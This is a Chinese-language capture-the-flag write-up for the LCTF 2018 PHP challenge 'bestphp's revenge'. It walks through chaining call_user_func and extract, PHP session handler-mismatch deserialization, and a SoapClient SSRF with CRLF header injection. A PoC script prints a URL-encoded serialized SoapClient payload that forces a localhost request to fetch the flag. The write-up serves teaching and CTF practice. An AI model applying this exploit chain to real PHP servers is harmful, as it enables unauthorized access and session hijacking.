文章目录

    • session反序列化+SoapClientSSRF+CRLF
      • 前言
      • bestphp’s revenge
        • call_user_func()方法的特性
        • SSRF+CRLF组合拳
        • session反序列化
      • 解题步骤
      • 总结

session反序列化+SoapClientSSRF+CRLF

前言

从一道题分析通过session反序列化出发SoapClientSSRF利用CRLF解题

bestphp’s revenge

首页是index.php

index.php

<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET['f'], $_POST);session_start();if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];}var_dump($_SESSION);$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');call_user_func($b, $a);?> 

好像没什么利用条件,我们通过目录扫描到

flag.php:

only localhost can get flag!session_start();echo 'only localhost can get flag!';$flag = 'LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }only localhost can get flag!

看这个代码很明显是SSRF漏洞,我们需要通过ssrf访问:http://127.0.0.1/flag.php将flag写入session文件中,最后访问index.php通过var_dump将flag打印出来

我们接着分析index.php:

call_user_func($args1,$args2)函数可以将执行名为:$args1的函数,并且参数为$args2

我们需要利用SoapClient对象去调用不存在的方法,就会触发__call()方法,从而进行SSRF,将flag写入session。但是怎么才能出发__call()方法?

call_user_func()方法的特性

当使用 call_user_func() 调用一个函数时,可以将函数名作为字符串或者一个包含两个元素的数组传递给它。如果传递一个数组,那么数组的第一个元素表示要调用的类或对象,第二个元素表示要调用的方法名

因此,如果我们给call_user_func()传入一个数组,并且第一个元素是SoapClient对象,第二个元素为不存在的方法名,就可以触发SSRF漏洞

这里刚好有一个现成的:

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');call_user_func($b, $a);

如果此时$b=call_user_func(),并且$_SESSION的第一个元素是SoapClient对象,那么相当于:

call_user_func(call_user_func,[new SoapClient(...),'welcome_to_the_lctf2018']);即:call_user_func([new SoapClient(...),'welcome_to_the_lctf2018'])

调用了SoapClient对象的welcome_to_the_lctf2018()方法,但是该方法不存在,于是就触发了SSRF

如何编写这个SoapClient对象呢?我们此处需要配合CRLF将flag写入指定的session中

SSRF+CRLF组合拳

poc如下:

<?php$soap = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','user_agent'=>"like\r\nCookie: PHPSESSID=leekos\r\n",'uri'=>'aaa'));echo urlencode(serialize($soap));# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22like%0D%0ACookie%3A+PHPSESSID%3Dleekos%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

我们在SoapClient的参数的数组中加入user_agent头,然后\r\n代表换行,将Cookie 给插入进来,替换为:leekos(这里有一个非常重要的点,需要使用双引号"包裹,否则\r\n不解析)

这样我们的SoapClient对象的序列化串就编写好了,我们稍后会用到它

我们上面提到$b=call_user_func(),怎么做到的?我们可以利用第一个call_user_func()函数,将$_GET['f']=extract$_POST=array('b'=>'call_user_func') 这个extract()函数将$b覆盖为call_user_func

这样当我们的reset($_SESSION)SoapClient对象时就可以触发ssrf

问题来了,怎么让reset($_SESSION)是该对象呢?

session反序列化

查询gpt, PHP 7.0.33,默认的 serialize_handler 将是 PHP 内置的 php

那么如果我们此时的serialize_handler=php_serialize就会将session数据使用serialize()函数进行序列化,如果我们将传入的数据前加入一个|,存入session文件后,文件内容大致格式如下:

xxx|O:10:SoapClient{yyy}

当此时我们serialize_handler=php时,漏洞来了,php处理器会把|前面的都当作键名,会把后面的O:10:SoapClient{yyy}反序列化,刚好还原为SoapClient对象,这时利用链就造好了

怎么让serialize_handler=php_serialize?

可以借助session_start()函数,通过call_user_func()来调用即可

解题步骤

先将序列化数据以php_serialize处理器存储起来

默认php处理器反序列化导致生成SoapClient对象,同时调用不存在方法触发ssrf

最后通过自定义的cookie访问即可:

总结

这一个题目的综合性还是挺强的,感觉挺巧妙,用到了session反序列化,php内置类SSRF+CRLF的技巧